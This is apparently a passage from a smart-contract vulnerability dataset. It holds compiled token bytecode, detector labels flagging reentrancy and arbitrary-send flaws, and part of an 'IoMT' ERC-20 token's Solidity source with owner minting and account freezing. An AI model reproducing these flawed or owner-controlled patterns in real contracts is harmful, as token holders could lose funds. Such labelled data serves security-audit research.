5a846104a561129e565b610555856040518060600160405280602881526020016137b360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050b61129e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c309092919063ffffffff16565b6112a6565b600190509392505050565b61056d61129e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f190612fba565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066661129e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90612fba565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075161129e565b73ffffffffffffffffffffffffffffffffffffffff161461077157600080fd5b600047905061077f81611c94565b50565b60006107cc600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8f565b9050919050565b6107db61129e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085f90612fba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4642440000000000000000000000000000000000000000000000000000000000815250905090565b60006109a061099961129e565b8484611471565b6001905092915050565b6109b261129e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3690612fba565b60405180910390fd5b60005b8151811015610af6576001600a6000848481518110610a8a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aee90613390565b915050610a42565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3b61129e565b73ffffffffffffffffffffffffffffffffffffffff1614610b5b57600080fd5b6000610b6630610782565b9050610b7181611dfd565b50565b610b7c61129e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0090612fba565b60405180910390fd5b600f60149054906101000a900460ff1615610c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c509061303a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ce830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166706f05b59d3b200006112a6565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2e57600080fd5b505afa158015610d42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d669190612947565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dc857600080fd5b505afa158015610ddc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e009190612947565b6040518363ffffffff1660e01b8152600401610e1d929190612e0a565b602060405180830381600087803b158015610e3757600080fd5b505af1158015610e4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6f9190612947565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ef830610782565b600080610f03610926565b426040518863ffffffff1660e01b8152600401610f2596959493929190612e5c565b6060604051808303818588803b158015610f3e57600080fd5b505af1158015610f52573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f779190612af3565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506706f05b59d3b200006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611079929190612e33565b602060405180830381600087803b15801561109357600080fd5b505af11580156110a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cb9190612aa1565b5050565b6110d761129e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611164576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115b90612fba565b60405180910390fd5b600081116111a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119e90612f7a565b60405180910390fd5b6111d560646111c7836706f05b59d3b200006120f790919063ffffffff16565b61217290919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120c919061307a565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611316576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130d9061301a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611386576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137d90612f3a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611464919061307a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d890612ffa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611551576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154890612efa565b60405180910390fd5b60008111611594576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158b90612fda565b60405180910390fd5b61159c610926565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160a57506115da610926565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6d57600f60179054906101000a900460ff161561183d573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168c57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117405750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183c57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178661129e565b73ffffffffffffffffffffffffffffffffffffffff1614806117fc5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e461129e565b73ffffffffffffffffffffffffffffffffffffffff16145b61183b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118329061305a565b60405180910390fd5b5b5b60105481111561184c57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f05750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118f957600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a45750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fa5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a125750600f60179054906101000a900460ff165b15611ab35742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6257600080fd5b600a42611a6f91906131b0565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611abe30610782565b9050600f60159054906101000a900460ff16158015611b2b5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b435750600f60169054906101000a900460ff165b15611b6b57611b5181611dfd565b60004790506000811115611b6957611b6847611c94565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c145750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c1e57600090505b611c2a848484846121bc565b50505050565b6000838311158290611c78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6f9190612ed8565b60405180910390fd5b5060008385611c879190613291565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce460028461217290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d0f573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6060028461217290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8b573d6000803e3d6000fd5b5050565b6000600654821115611dd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcd90612f1a565b60405180910390fd5b6000611de06121e9565b9050611df5818461217290919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e895781602001602082028036833780820191505090505b5090503081600081518110611ec7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6957600080fd5b505afa158015611f7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa19190612947565b81600181518110611fdb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204230600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a6565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a6959493929190613095565b600060405180830381600087803b1580156120c057600080fd5b505af11580156120d4573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210a576000905061216c565b600082846121189190613237565b90508284826121279190613206565b14612167576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215e90612f9a565b60405180910390fd5b809150505b92915050565b60006121b483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612214565b905092915050565b806121ca576121c9612277565b5b6121d58484846122a8565b806121e3576121e2612473565b5b50505050565b60008060006121f6612485565b9150915061220d818361217290919063ffffffff16565b9250505090565b6000808311829061225b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122529190612ed8565b60405180910390fd5b506000838561226a9190613206565b9050809150509392505050565b600060085414801561228b57506000600954145b15612295576122a6565b600060088190555060006009819055505b565b6000806000806000806122ba876124e4565b95509550955095509550955061231886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123ad85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123f9816125f4565b61240384836126b1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612460919061307a565b60405180910390a3505050505050505050565b60056008819055506005600981905550565b6000806000600654905060006706f05b59d3b2000090506124b96706f05b59d3b2000060065461217290919063ffffffff16565b8210156124d7576006546706f05b59d3b200009350935050506124e0565b81819350935050505b9091565b60008060008060008060008060006125018a6008546009546126eb565b92509250925060006125116121e9565b905060008060006125248e878787612781565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061258e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c30565b905092915050565b60008082846125a591906131b0565b9050838110156125ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e190612f5a565b60405180910390fd5b8091505092915050565b60006125fe6121e9565b9050600061261582846120f790919063ffffffff16565b905061266981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126c68260065461254c90919063ffffffff16565b6006819055506126e18160075461259690919063ffffffff16565b6007819055505050565b6000806000806127176064612709888a6120f790919063ffffffff16565b61217290919063ffffffff16565b905060006127416064612733888b6120f790919063ffffffff16565b61217290919063ffffffff16565b9050600061276a8261275c858c61254c90919063ffffffff16565b61254c90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279a85896120f790919063ffffffff16565b905060006127b186896120f790919063ffffffff16565b905060006127c887896120f790919063ffffffff16565b905060006127f1826127e3858761254c90919063ffffffff16565b61254c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061281d6128188461312f565b61310a565b9050808382526020820190508285602086028201111561283c57600080fd5b60005b8581101561286c57816128528882612876565b84526020840193506020830192505060018101905061283f565b5050509392505050565b6000813590506128858161376d565b92915050565b60008151905061289a8161376d565b92915050565b600082601f8301126128b157600080fd5b81356128c184826020860161280a565b91505092915050565b6000813590506128d981613784565b92915050565b6000815190506128ee81613784565b92915050565b6000813590506129038161379b565b92915050565b6000815190506129188161379b565b92915050565b60006020828403121561293057600080fd5b600061293e84828501612876565b91505092915050565b60006020828403121561295957600080fd5b60006129678482850161288b565b91505092915050565b6000806040838503121561298357600080fd5b600061299185828601612876565b92505060206129a285828601612876565b9150509250929050565b6000806000606084860312156129c157600080fd5b60006129cf86828701612876565b93505060206129e086828701612876565b92505060406129f1868287016128f4565b9150509250925092565b60008060408385031215612a0e57600080fd5b6000612a1c85828601612876565b9250506020612a2d858286016128f4565b9150509250929050565b600060208284031215612a4957600080fd5b600082013567ffffffffffffffff811115612a6357600080fd5b612a6f848285016128a0565b91505092915050565b600060208284031215612a8a57600080fd5b6000612a98848285016128ca565b91505092915050565b600060208284031215612ab357600080fd5b6000612ac1848285016128df565b91505092915050565b600060208284031215612adc57600080fd5b6000612aea848285016128f4565b91505092915050565b600080600060608486031215612b0857600080fd5b6000612b1686828701612909565b9350506020612b2786828701612909565b9250506040612b3886828701612909565b9150509250925092565b6000612b4e8383612b5a565b60208301905092915050565b612b63816132c5565b82525050565b612b72816132c5565b82525050565b6000612b838261316b565b612b8d818561318e565b9350612b988361315b565b8060005b83811015612bc9578151612bb08882612b42565b9750612bbb83613181565b925050600181019050612b9c565b5085935050505092915050565b612bdf816132d7565b82525050565b612bee8161331a565b82525050565b6000612bff82613176565b612c09818561319f565b9350612c1981856020860161332c565b612c2281613466565b840191505092915050565b6000612c3a60238361319f565b9150612c4582613477565b604082019050919050565b6000612c5d602a8361319f565b9150612c68826134c6565b604082019050919050565b6000612c8060228361319f565b9150612c8b82613515565b604082019050919050565b6000612ca3601b8361319f565b9150612cae82613564565b602082019050919050565b6000612cc6601d8361319f565b9150612cd18261358d565b602082019050919050565b6000612ce960218361319f565b9150612cf4826135b6565b604082019050919050565b6000612d0c60208361319f565b9150612d1782613605565b602082019050919050565b6000612d2f60298361319f565b9150612d3a8261362e565b604082019050919050565b6000612d5260258361319f565b9150612d5d8261367d565b604082019050919050565b6000612d7560248361319f565b9150612d80826136cc565b604082019050919050565b6000612d9860178361319f565b9150612da38261371b565b602082019050919050565b6000612dbb60118361319f565b9150612dc682613744565b602082019050919050565b612dda81613303565b82525050565b612de98161330d565b82525050565b6000602082019050612e046000830184612b69565b92915050565b6000604082019050612e1f6000830185612b69565b612e2c6020830184612b69565b9392505050565b6000604082019050612e486000830185612b69565b612e556020830184612dd1565b9392505050565b600060c082019050612e716000830189612b69565b612e7e6020830188612dd1565b612e8b6040830187612be5565b612e986060830186612be5565b612ea56080830185612b69565b612eb260a0830184612dd1565b979650505050505050565b6000602082019050612ed26000830184612bd6565b92915050565b60006020820190508181036000830152612ef28184612bf4565b905092915050565b60006020820190508181036000830152612f1381612c2d565b9050919050565b60006020820190508181036000830152612f3381612c50565b9050919050565b60006020820190508181036000830152612f5381612c73565b9050919050565b60006020820190508181036000830152612f7381612c96565b9050919050565b60006020820190508181036000830152612f9381612cb9565b9050919050565b60006020820190508181036000830152612fb381612cdc565b9050919050565b60006020820190508181036000830152612fd381612cff565b9050919050565b60006020820190508181036000830152612ff381612d22565b9050919050565b6000602082019050818103600083015261301381612d45565b9050919050565b6000602082019050818103600083015261303381612d68565b9050919050565b6000602082019050818103600083015261305381612d8b565b9050919050565b6000602082019050818103600083015261307381612dae565b9050919050565b600060208201905061308f6000830184612dd1565b92915050565b600060a0820190506130aa6000830188612dd1565b6130b76020830187612be5565b81810360408301526130c98186612b78565b90506130d86060830185612b69565b6130e56080830184612dd1565b9695505050505050565b60006020820190506131046000830184612de0565b92915050565b6000613114613125565b9050613120828261335f565b919050565b6000604051905090565b600067ffffffffffffffff82111561314a57613149613437565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131bb82613303565b91506131c683613303565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131fb576131fa6133d9565b5b828201905092915050565b600061321182613303565b915061321c83613303565b92508261322c5761322b613408565b5b828204905092915050565b600061324282613303565b915061324d83613303565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613286576132856133d9565b5b828202905092915050565b600061329c82613303565b91506132a783613303565b9250828210156132ba576132b96133d9565b5b828203905092915050565b60006132d0826132e3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332582613303565b9050919050565b60005b8381101561334a57808201518184015260208101905061332f565b83811115613359576000848401525b50505050565b61336882613466565b810181811067ffffffffffffffff8211171561338757613386613437565b5b80604052505050565b600061339b82613303565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133ce576133cd6133d9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613776816132c5565b811461378157600080fd5b50565b61378d816132d7565b811461379857600080fd5b50565b6137a481613303565b81146137af57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ed6b1dc6800a2e2e45c5defca11b2db421ddbab1f218fcb7adf5239491b7557464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,804
0xe5f3c6d2b47cbe2cf936b9521466bac2422ebef8
pragma solidity ^0.4.24; /* * Creator: IoMT (Internet of Medical Things) */ /* * Abstract Token Smart Contract * */ /* * Safe Math Smart Contract. * https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * ERC-20 standard token interface, as defined * <a href="http://github.com/ethereum/EIPs/issues/20">here</a>. */ contract Token { function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * Abstract Token Smart Contract that could be used as a base contract for * ERC-20 token contracts. */ contract AbstractToken is Token, SafeMath { /** * Create new Abstract Token contract. */ function AbstractToken () { // Do nothing } /** * Get number of tokens currently belonging to given owner. * * @param _owner address to get number of tokens currently belonging to the * owner of * @return number of tokens currently belonging to the owner of given address */ function balanceOf(address _owner) constant returns (uint256 balance) { return accounts [_owner]; } /** * Transfer given number of tokens from message sender to given recipient. * * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transfer(address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (accounts [msg.sender] < _value) return false; if (_value > 0 && msg.sender != _to) { accounts [msg.sender] = safeSub (accounts [msg.sender], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer (msg.sender, _to, _value); return true; } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (allowances [_from][msg.sender] < _value) return false; if (accounts [_from] < _value) return false; if (_value > 0 && _from != _to) { allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value); accounts [_from] = safeSub (accounts [_from], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer(_from, _to, _value); return true; } /** * Allow given spender to transfer given number of tokens from message sender. * @param _spender address to allow the owner of to transfer tokens from message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { allowances [msg.sender][_spender] = _value; emit Approval (msg.sender, _spender, _value); return true; } /** * Tell how many tokens given spender is currently allowed to transfer from * given owner. * * @param _owner address to get number of tokens allowed to be transferred * from the owner of * @param _spender address to get number of tokens allowed to be transferred * by the owner of * @return number of tokens given spender is currently allowed to transfer * from given owner */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowances [_owner][_spender]; } /** * Mapping from addresses of token holders to the numbers of tokens belonging * to these token holders. */ mapping (address => uint256) accounts; /** * Mapping from addresses of token holders to the mapping of addresses of * spenders to the allowances set by these token holders to these spenders. */ mapping (address => mapping (address => uint256)) private allowances; } /** * IoMT token token smart contract. */ contract IoMTToken is AbstractToken { /** * Maximum allowed number of tokens in circulation. * tokenSupply = tokensIActuallyWant * (10 ^ decimals) */ uint256 constant MAX_TOKEN_COUNT = 62000000 * (10**18); /** * Address of the owner of this smart contract. */ address private owner; /** * Frozen account list holder */ mapping (address => bool) private frozenAccount; /** * Current number of tokens in circulation. */ uint256 tokenCount = 0; /** * True if tokens transfers are currently frozen, false otherwise. */ bool frozen = false; /** * Create new token smart contract and make msg.sender the * owner of this smart contract. */ function IoMTToken () { owner = msg.sender; } /** * Get total number of tokens in circulation. * * @return total number of tokens in circulation */ function totalSupply() constant returns (uint256 supply) { return tokenCount; } string constant public name = "Internet of Medical Things"; string constant public symbol = "IoMT"; uint8 constant public decimals = 18; /** * Transfer given number of tokens from message sender to given recipient. * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise */ function transfer(address _to, uint256 _value) returns (bool success) { require(!frozenAccount[msg.sender]); if (frozen) return false; else return AbstractToken.transfer (_to, _value); } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(!frozenAccount[_from]); if (frozen) return false; else return AbstractToken.transferFrom (_from, _to, _value); } /** * Change how many tokens given spender is allowed to transfer from message * spender. In order to prevent double spending of allowance, * To change the approve amount you first have to reduce the addresses` * allowance to zero by calling `approve(_spender, 0)` if it is not * already 0 to mitigate the race condition described here: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender address to allow the owner of to transfer tokens from * message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { require(allowance (msg.sender, _spender) == 0 || _value == 0); return AbstractToken.approve (_spender, _value); } /** * Create _value new tokens and give new created tokens to msg.sender. * May only be called by smart contract owner. * * @param _value number of tokens to create * @return true if tokens were created successfully, false otherwise */ function createTokens(uint256 _value) returns (bool success) { require (msg.sender == owner); if (_value > 0) { if (_value > safeSub (MAX_TOKEN_COUNT, 